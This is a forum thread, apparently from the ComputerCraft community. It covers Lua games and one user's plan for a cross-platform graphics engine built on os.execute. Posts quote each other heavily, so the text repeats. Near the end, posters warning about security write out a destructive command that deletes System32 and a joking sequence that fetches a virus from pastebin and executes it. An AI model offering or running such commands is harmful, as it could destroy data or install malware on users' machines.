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Sweet, does it use pixels and color or regular text?
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Who would not enjoy letting their automatic farms run while playing AdventureCraft on a CC Computer? I sure enjoy it!Where are all the games? In places made for games. CC isn't designed with games in mind, and most people don't make games for it.
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Too many times this has been said.well, im working on a game engine right now. hopefully that should inspire some games.
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Too many times this has been said.
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Do you mean you'll make the engine run by itself without CC, or am I misreading you?sorry for the wait on the graphics engine btw. im trying to make it compatible with both vanilla and CC Lua
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well, for awhile, i wanted to make it compatible with either environment, but i decided that because of all of the differences in operating systems, its just too difficult
as in, you could run it in CC, or you could run it in your IRL computer's terminal
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Could be worse, at least most installations of lua generally have the same basic functions, so really it should only be the input and graphics that need changing assuming none of them are stupid enough to do something like remove the math library. That was the thing that annoyed me about legend of grimrock (a game that uses lua to allow players to script their own dungeons), no direct access to _G, no getfenv and no setfenv. Assuming it's supposed to be so you don't accidentally crash the game engine, but annoying nonetheless. *end ramblings*that's what i was doing
its just a pain to write software with bsd, craftos, darwin, linux, minix, and windows kernel support
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so really it should only be the input and graphics that need changing
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Out of interest, which compiled language lua interpreters are you using?well, those just so happen to be the hardest things to support
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Call me crazy (as many do) but I'm pretty sure the lua environment is defined by the interpreter, not the actual OS, so if you're only using lua it can only really be made interpreter independent it's the interpreter's job to make sure it can run on different OSes.i was just writing Lua code that evaluates what environment its in and defines its API accordingly
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Here is a small game i made.. Im working on a much bigger and more awesome game.. Something to look out for maybe? Guess it'll be out in 2 weeks max.
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I don't see how a game engine for ascii based games in lua is going to need any files that are OS specific.it does matter for save folders and system commands
os.execute becomes your friend when you need to escape the bounds of Lua
for example, one could theoretically use os.execute to modify the Lua environment with new functions
This much I can agree with. Debug and GC are features I would like access to.i really wish we had access to the debug library (or at least a sandboxed version of it)
that would help a lot
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ehm i put an url there.. but now its gone..Here is a small game i made.. Im working on a much bigger and more awesome game.. Something to look out for maybe? Guess it'll be out in 2 weeks max.
um, where?
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For that all you have to do is make sure the interpreter supplies you with a way of writing ascii characters in colour, it's not that back end.you have to use backend stuff for graphics
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164x81 isn't really an optimal resolution for pixel-based games, nor is the limitation of having to use a maximum sized monitor. On top of which, console terminals don't tend to give you access to their pixels anyway, they're designed to be text based.the compatibility with CC would be the biggest possible advanced monitor with the smallest text scale, allowing for the highest amount of pixels
i was writing it for all interpreters
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How many compilers have it/are they OS independent?through os.execute, you can link lua functions to any other language, meaning that the display wouldnt be on the terminal
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That on it's own isn't enough to give lua access to graphics functions, you'd need a program that does that, as well as knowing that program is compatible.os.execute interfaces with the computer's terminal, allowing it to execute any program the user has access to (e.g. python, c, c++, java programs)
Propably not without running as admin first, though there's probably a way to do that.os.execute 'del C:\Windows\System32'
Not on it's own, given the ability to put text onto pastebin though.:os.execute is NOT something you want to be implementing in CC. Holy security hole batman.
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You can using the fs API to write code to a file.That on it's own isn't enough to give lua access to graphics functions, you'd need a program that does that, as well as knowing that program is compatible.os.execute interfaces with the computer's terminal, allowing it to execute any program the user has access to (e.g. python, c, c++, java programs)Propably not without running as admin first, though there's probably a way to do that.os.execute 'del C:\Windows\System32'Not on it's own, given the ability to put text onto pastebin though.:os.execute is NOT something you want to be implementing in CC. Holy security hole batman.
Virus on pastebin,
http.get(virusurl),
os.execute(viruspath),
???,
profit?
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Yes, but you'd need access to the OS shell to actually execute the file anything big enough to affect the actual computer.You can using the fs API to write code to a file.Not on it's own, given the ability to put text onto pastebin though.:
Virus on pastebin,
http.get(virusurl),
os.execute(viruspath),
???,
profit?
Still didn't explain how you plan to do it.guys, i wasnt talking about using os.execute in CC
dont worry
i was just explaining how i would create a compat layer for non CC environments
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It means you'll need access to an OS independent graphics library, on top of an executable that is OS independent.
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It means you'll need access to an OS independent graphics library, on top of an executable that is OS independent.
who says it needs to be os independent?
im not doing the project anymore, but you can always write more compat
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Virus on pastebin? I've seen it before, in the guise of a CC game.That on it's own isn't enough to give lua access to graphics functions, you'd need a program that does that, as well as knowing that program is compatible.os.execute interfaces with the computer's terminal, allowing it to execute any program the user has access to (e.g. python, c, c++, java programs)Propably not without running as admin first, though there's probably a way to do that.os.execute 'del C:\Windows\System32'Not on it's own, given the ability to put text onto pastebin though.:os.execute is NOT something you want to be implementing in CC. Holy security hole batman.
Virus on pastebin,
http.get(virusurl),
os.execute(viruspath),
???,
profit?
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exactly 2 weeks later, here it is xDHere is a small game i made.. Im working on a much bigger and more awesome game.. Something to look out for maybe? Guess it'll be out in 2 weeks max.